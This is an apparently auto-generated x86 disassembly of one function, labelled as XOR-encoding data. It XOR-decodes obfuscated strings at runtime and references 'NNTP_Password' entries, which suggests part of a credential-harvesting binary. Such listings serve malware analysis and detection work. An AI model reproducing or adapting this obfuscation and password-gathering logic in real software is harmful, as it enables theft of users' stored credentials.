Function at 0x40d32c
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4662d7
call fcn.004662d0
sub esp, 0x184
movaps xmm0, xmmword [0x47d010]
mov eax, edx
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x48], eax
movups xmmword [ebp - 0x106], xmm0
mov esi, edx
mov dword [ebp - 0x94], ecx
movaps xmm0, xmmword [0x47cfb0]
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x2c], edx
movups xmmword [ebp - 0xf6], xmm0
mov word [ebp - 0xe6], 0x3a
mov cl, byte [ebp - 0x106]
xor byte [ebp + esi - 0x105], cl
inc esi
cmp esi, 0x20
jb 0x40d37c
movaps xmm0, xmmword [str.NNTP_Password2]
mov esi, edx
movups xmmword [ebp - 0xe4], xmm0
mov byte [ebp - 0xe5], dl
movaps xmm0, xmmword [str.NNTP_Password]
movups xmmword [ebp - 0xd4], xmm0
mov word [ebp - 0xc4], 0x1d
mov cl, byte [ebp - 0xe4]
xor byte [ebp + esi - 0xe3], cl
inc esi
cmp esi, 0x20
jb 0x40d3bc
lea eax, [ebp - 0xe3]
mov byte [ebp - 0xc3], dl
push eax
lea ecx, [ebp - 0x190]
mov dword [ebp - 0x180], edx
mov dword [ebp - 0x17c], 0xf
mov byte [ebp - 0x190], dl
call fcn.00413487
xor edx, edx
mov dword [ebp - 4], edx
mov esi, edx
movaps xmm0, xmmword [0x47d360]
movups xmmword [ebp - 0x128], xmm0
mov word [ebp - 0x108], 0x7c
movaps xmm0, xmmword [0x47d3b0]
movups xmmword [ebp - 0x118], xmm0
mov cl, byte [ebp - 0x128]
xor byte [ebp + esi - 0x127], cl
inc esi
cmp esi, 0x20
jb 0x40d429
push 0xf
pop esi
lea eax, [ebp - 0x127]
mov byte [ebp - 0x107], dl
push eax
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x164], esi
mov byte [ebp - 0x178], dl
call fcn.00413487
mov byte [ebp - 4], 1
lea eax, [ebp - 0x105]
and dword [ebp - 0x150], 0
lea ecx, [ebp - 0x160]
push eax
mov dword [ebp - 0x14c], esi
mov byte [ebp - 0x160], 0
call fcn.00413487
xor eax, eax
mov dword [ebp - 4], 2
push dword [ebp - 0x70]
mov dword [ebp - 0x64], eax
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x190]
push eax
call fcn.004141f0
push 0x411d9a
push 3
push 0x18
lea eax, [ebp - 0x190]
mov byte [ebp - 4], 4
push eax
call fcn.0043e295
push ecx
lea eax, [ebp - 0x94]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x90]
call fcn.00413c9d
lea eax, [ebp - 0x90]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xa8]
call fcn.0040c2c3
lea ecx, [ebp - 0x90]
call fcn.004130f9
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x58]
call fcn.0040d304
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x54]
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x74], esi
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x130]
call fcn.0040d304
mov ecx, dword [ebp - 0x12c]
xor eax, eax
xorps xmm0, xmm0
movlpd qword [ebp - 0x58], xmm0
and dword [ebp - 0x54], eax
mov dword [ebp - 0x58], eax
test ecx, ecx
je 0x40d561
call fcn.0040aa90
mov eax, dword [ebp - 0x58]
mov byte [ebp - 4], 0xa
cmp edi, eax
je 0x40d8bd
mov dword [ebp - 0xa0], edi
xor edi, edi
mov eax, dword [ebp - 0x60]
sub eax, dword [ebp - 0x64]
push 0x18
cdq
pop ecx
idiv ecx
mov dword [ebp - 0x6c], edi
cmp edi, eax
jae 0x40d8a4
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x148]
add eax, 0x20
mov byte [ebp - 4], 0xb
push ecx
mov ecx, eax
mov dword [ebp - 0x68], eax
call fcn.0040b62e
push ecx
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0xc
push ecx
mov ecx, eax
call fcn.00413a83
mov eax, dword [ebp - 0x64]
or dword [ebp - 0x2c], 1
imul ecx, edi, 0x18
push 0
add eax, ecx
mov dword [ebp - 0x50], ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.004127bf
lea ecx, [ebp - 0x90]
mov esi, eax
call fcn.00413316
lea ecx, [ebp - 0x148]
mov byte [ebp - 4], 0xb
call fcn.004130f9
cmp esi, 0xffffffff
je 0x40d876
push 0
push 0
call dword [0x46a1a0]
push eax
call dword [0x46a20c]
mov ecx, dword [ebp - 0x68]
lea eax, [ebp - 0x90]
push eax
call fcn.0040b59b
push ecx
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 0xd
push ecx
mov ecx, eax
call fcn.00413a83
or dword [ebp - 0x2c], 8
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0xf
call fcn.004130f9
push ecx
push ecx
lea ecx, [ebp - 0xc0]
call fcn.00412726
mov esi, eax
lea ecx, [ebp - 0xc0]
push 0xffffffffffffffff
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.004126db
mov byte [ebp - 4], 0x10
xor edx, edx
movaps xmm0, xmmword [0x47d280]
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x7f6b62
mov cl, byte [ebp - 0x40]
xor cl, byte [ebp + edx - 0x3f]
mov byte [ebp + edx - 0x3f], cl
inc edx
cmp edx, 0x12
jb 0x40d681
push ecx
lea eax, [ebp - 0x3f]
mov byte [ebp - 0x2d], 0
push eax
lea ecx, [ebp - 0x148]
call fcn.0041278e
cmp eax, 0xffffffff
je 0x40d860
push esi
push 0
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebp - 0xc0]
call fcn.004126db
lea ecx, [ebp - 0xc0]
cmp ecx, eax
je 0x40d6e1
mov byte [ebp - 0x98], 0
push dword [ebp - 0x98]
push eax
call fcn.004135f4
lea ecx, [ebp - 0xdc]
call fcn.00413316
push ecx
push ecx
lea ecx, [ebp - 0xc0]
call fcn.00412726
push esi
inc eax
lea ecx, [ebp - 0xc0]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.004126db
mov byte [ebp - 4], 0x11
xor ecx, ecx
mov dl, 0x61
mov dword [ebp - 0x19], 0xd003661
mov dword [ebp - 0x15], 0x1215040d
mov esi, ecx
mov byte [ebp - 0x11], cl
xor byte [ebp + esi - 0x18], dl
inc esi
cmp esi, 7
jae 0x40d738
mov dl, byte [ebp - 0x19]
jmp 0x40d729
mov byte [ebp - 0x11], cl
call fcn.00433561
lea edx, [ebp - 0x18]
mov ecx, eax
call fcn.004330c8
and dword [ebp - 0x34], 0
lea ecx, [ebp - 0x44]
mov esi, eax
mov dword [ebp - 0x30], 0xf
push esi
mov byte [ebp - 0x44], 0
call fcn.00413487
lea ecx, [ebp - 0x44]
call fcn.0040cbd3
lea ecx, [ebp - 0x44]
call fcn.00413316
mov ecx, dword [ebp - 0x50]
lea edx, [ebp - 0x105]
add ecx, dword [ebp - 0x64]
call fcn.00413d62
test al, al
je 0x40d790
mov ecx, 0x4774f4
jmp 0x40d7bf
mov cl, 0x1e
mov dword [ebp - 0x25], 0x7b53421e
mov dword [ebp - 0x21], 0x7f537f6a
xor edx, edx
mov dword [ebp - 0x1d], 0x41756d
xor byte [ebp + edx - 0x24], cl
inc edx
cmp edx, 0xa
jae 0x40d7b8
mov cl, byte [ebp - 0x25]
jmp 0x40d7a9
mov byte [ebp - 0x1a], 0
lea ecx, [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov edx, dword [eax]
call fcn.004330c8
mov edx, eax
mov ecx, esi
call fcn.004330c8
cmp dword [ebp - 0x7c], 0x10
lea edx, [ebp - 0x90]
mov ecx, 0x477d7c
mov esi, eax
cmovae edx, dword [ebp - 0x90]
call fcn.004330c8
mov edx, eax
mov ecx, esi
call fcn.004330c8
and dword [ebp - 0x34], 0
lea ecx, [ebp - 0x44]
push 0xf
pop esi
push eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 0x44], 0
call fcn.00413487
lea ecx, [ebp - 0x44]
call fcn.0040cbd3
lea ecx, [ebp - 0x44]
call fcn.00413316
mov byte [ebp - 0x9c], 0
lea edx, [ebp - 0x50]
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x44]
call fcn.00414dc3
pop ecx
mov ecx, dword [ebp - 0x68]
lea edx, [ebp - 0x44]
push 0x12
mov byte [ebp - 4], 0x12
call fcn.0040cb3d
pop ecx
lea ecx, [ebp - 0x44]
call fcn.004130f9
lea ecx, [ebp - 0x90]
call fcn.00413316
lea ecx, [ebp - 0x148]
call fcn.00413316
lea ecx, [ebp - 0xc0]
call fcn.00413316
mov dword [ebp - 4], 0xa
jmp 0x40d89e
inc edi
jmp 0x40d575
lea ecx, [ebp - 0x78]
call fcn.0040c30d
mov edi, dword [ebp - 0x78]
mov esi, dword [ebp - 0x74]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x4c], edi
jmp 0x40d565
test esi, esi
je 0x40d8c8
mov ecx, esi
call fcn.0040aa90
mov ecx, dword [ebp - 0xa4]
test ecx, ecx
je 0x40d8d7
call fcn.0040aa90
lea ecx, [ebp - 0x64]
call fcn.00413084
xor eax, eax
inc eax
jmp 0x40d8f4
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret